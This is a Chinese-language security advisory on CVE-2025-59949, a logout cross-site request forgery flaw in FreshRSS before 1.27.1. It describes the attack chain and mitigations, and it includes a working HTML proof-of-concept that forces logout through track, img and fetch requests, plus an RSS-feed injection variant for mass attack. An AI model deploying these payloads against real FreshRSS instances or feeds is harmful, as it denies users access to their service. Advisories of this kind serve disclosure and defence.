IPBUF安全漏洞报告
English
CVE-2025-59949 CVSS 5.3 中危

CVE-2025-59949 FreshRSS logout CSRF拒绝服务漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-59949
漏洞类型
CSRF(跨站请求伪造)/ 拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FreshRSS

相关标签

FreshRSSCSRF跨站请求伪造拒绝服务logoutRSS聚合器CVE-2025-59949

漏洞概述

FreshRSS是一款免费的自托管RSS聚合器应用。该产品在1.27.1之前的版本中存在一个logout跨站请求伪造(CSRF)漏洞,攻击者可以利用此漏洞诱导已登录用户访问恶意构造的页面,通过<script>或<track src>等HTML标签自动向FreshRSS发送logout请求,导致用户被强制登出。由于攻击者可以反复触发此漏洞,可能造成持续的拒绝服务效果,使用户无法正常使用RSS阅读功能。该漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的可用性。攻击者无需认证即可发起CSRF攻击,但需要诱导已登录用户访问恶意页面。

技术细节

该漏洞属于典型的CSRF(Cross-Site Request Forgery)漏洞。在FreshRSS的logout功能实现中,服务器端未能正确验证HTTP请求的来源和有效性。攻击者可以构造一个恶意HTML页面,包含指向FreshRSS logout端点的自动请求。当已登录FreshRSS的用户访问该恶意页面时,浏览器会自动携带用户的认证Cookie向目标服务器发送logout请求。攻击者可以利用<track src>标签绕过某些浏览器的防护机制,自动触发跨站请求。更重要的是,由于RSS阅读器通常会预加载页面内容,攻击者可以在RSS源中嵌入恶意代码,当用户通过FreshRSS查看该RSS源时自动触发logout请求。这种攻击方式使得攻击者可以通过在热门RSS源中注入恶意代码,大规模地导致用户会话被强制终止,从而实现拒绝服务攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标FreshRSS实例的logout端点URL
STEP 2
步骤2
攻击者构造包含恶意HTML标签的恶意页面或RSS源内容
STEP 3
步骤3
攻击者通过社会工程学手段诱导已登录用户访问恶意页面或订阅恶意RSS源
STEP 4
步骤4
用户浏览器自动发送logout请求,携带用户有效的认证Cookie
STEP 5
步骤5
FreshRSS服务器收到请求后,由于缺少CSRF token验证,执行logout操作
STEP 6
步骤6
用户会话被终止,被强制登出FreshRSS系统
STEP 7
步骤7
攻击者可通过反复触发实现持续拒绝服务效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-59949 --> <!-- FreshRSS Logout CSRF via track src --> <!DOCTYPE html> <html> <head> <title>FreshRSS CSRF PoC</title> </head> <body> <h1>FreshRSS Logout CSRF Attack</h1> <!-- Method 1: Using track src --> <track src="http://target-freshrss-instance/i/?r=1&amp;rid=logout"> <!-- Method 2: Using img tag --> <img src="http://target-freshrss-instance/i/?r=1&amp;rid=logout" style="display:none"> <!-- Method 3: Using script with auto-submit --> <script> // Auto-submit logout request fetch('http://target-freshrss-instance/i/?r=1&rid=logout', { method: 'GET', credentials: 'include' // Include user's cookies }); </script> <p>This page will automatically force logout from FreshRSS.</p> <p>Replace 'target-freshrss-instance' with the actual FreshRSS URL.</p> </body> </html> <!-- RSS Feed Injection PoC (for mass attack) --> <!-- <rss version="2.0"> <channel> <title>Malicious RSS Feed</title> <item> <title>Click here for amazing content</title> <description> <![CDATA[ <track src="http://target-freshrss-instance/i/?r=1&rid=logout"> ]]> </description> </item> </channel> </rss> -->

影响范围

FreshRSS < 1.27.1

防御指南

临时缓解措施
如果无法立即升级,可通过在Web服务器层面配置X-CSRF-Token请求头验证,或使用WAF规则阻止对logout端点的异常跨站请求。同时建议用户避免点击不明来源的链接,特别是那些声称提供独家内容的RSS订阅链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表